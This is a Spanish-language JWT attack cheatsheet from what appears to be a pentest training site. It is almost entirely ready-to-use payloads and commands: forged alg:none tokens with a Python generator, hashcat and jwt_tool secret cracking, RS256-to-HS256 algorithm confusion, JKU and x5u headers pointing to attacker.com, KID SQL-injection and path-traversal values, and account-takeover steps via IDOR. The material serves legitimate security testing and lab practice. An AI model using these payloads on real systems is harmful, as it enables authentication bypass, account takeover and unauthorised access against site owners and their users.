Nuevos labs cada semana — Accede a todos desde 5€/mes
Ver labs →Cheatsheet JWT
JSON Web Token Attacks
Referencia rápida
- →El payload del JWT NO esta cifrado - siempre decodificarlo y buscar datos sensibles
- →Probar alg:none como primer test - es el quick win mas comun en JWT
- →hashcat -m 16500 con rockyou.txt crackea secrets debiles en segundos
- →Si hay /jwks.json accesible, probar algorithm confusion RS256->HS256
- →KID path traversal a /dev/null permite firmar con string vacio
Algoritmo none (CVE-2015-9235)
Header con alg: nonePayload base64: {"alg":"none","typ":"JWT"}.{"user":"admin"}.
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.
Variantes de noneProbar todas las variaciones de case
none / None / NONE / nOnE / NoNe
Generar con Python
import base64, json
header = {"alg": "none", "typ": "JWT"}
payload = {"user": "admin", "role": "admin"}
h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode()
p = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
token = f"{h}.{p}."Cracking de secret key
hashcat wordlist
hashcat -a 0 -m 16500 <jwt_token> /usr/share/wordlists/rockyou.txt
hashcat con reglas
hashcat -a 0 -m 16500 <jwt_token> rockyou.txt -r /usr/share/hashcat/rules/best64.rule
jwt_tool brute forceMode -C para cracking de secret
python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt
Decodificar payloadEl payload NO esta cifrado, solo codificado en base64
echo "<JWT_PAYLOAD>" | base64 -d | jq .
Algorithm confusion (RS256 -> HS256)
Concepto
1. Servidor usa RS256 (firma asimetrica) 2. Obtener clave publica: /jwks.json o /.well-known/jwks.json 3. Cambiar alg de RS256 a HS256 4. Firmar token con la clave publica como secret HMAC 5. Servidor usa la misma clave publica para verificar HMAC -> bypass
Obtener clave publica
openssl s_client -connect target.com:443 | openssl x509 -pubkey -noout > pubkey.pem
Explotar con jwt_tool
python3 jwt_tool.py <JWT> -X k -pk pubkey.pem
Header injection (JWK, JKU, KID)
JWK header injectionSi el servidor usa la clave del header en vez de la suya
{"alg": "RS256", "jwk": {"kty": "RSA", "n": "<tu_clave_publica>", "e": "AQAB"}}JKU URL manipulationApuntar a tu servidor con tu clave publica
{"alg": "RS256", "jku": "https://attacker.com/.well-known/jwks.json"}KID SQL injectionFirmar el token con ATTACKER_SECRET
{"alg": "HS256", "kid": "key1' UNION SELECT 'ATTACKER_SECRET' -- "}KID path traversalFirmar con string vacio (contenido de /dev/null)
{"alg": "HS256", "kid": "../../../dev/null"}x5u header spoof
{"alg": "RS256", "x5u": "https://attacker.com/cert.pem"}Miscellaneous
Modificar payload sin firma
1. Cambiar user/role en el payload 2. Mantener la firma original 3. Enviar token -> si el servidor no verifica firma = bypass
Expiracion abuse
Modificar exp a valor futuro lejano o eliminar exp completamente
Cross-service relaySi multiples servicios comparten la misma clave de firma
Usar JWT de Servicio A en Servicio B
IDOR via JWT
Decodificar JWT -> cambiar userId/email en payload -> account takeover
Buscar tokens hardcodeados
Swagger/OpenAPI specs, JS del frontend, .env files, git history
Herramientas
jwt_tool
Suite completa de testing JWT con modos automatico, tamper y exploit
python3 jwt_tool.py <JWT_TOKEN> -M at -t "https://target.com/api/" -rh "Authorization: Bearer"
jwt.io
Debugger web para decodificar y verificar JWTs
https://jwt.io - Pegar token para decodificar
hashcat
Cracker de passwords con soporte para JWT HMAC secrets
hashcat -m 16500 <jwt> rockyou.txt
Contenido relacionado
¿Listo para practicar?
Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.
Ver labs de práctica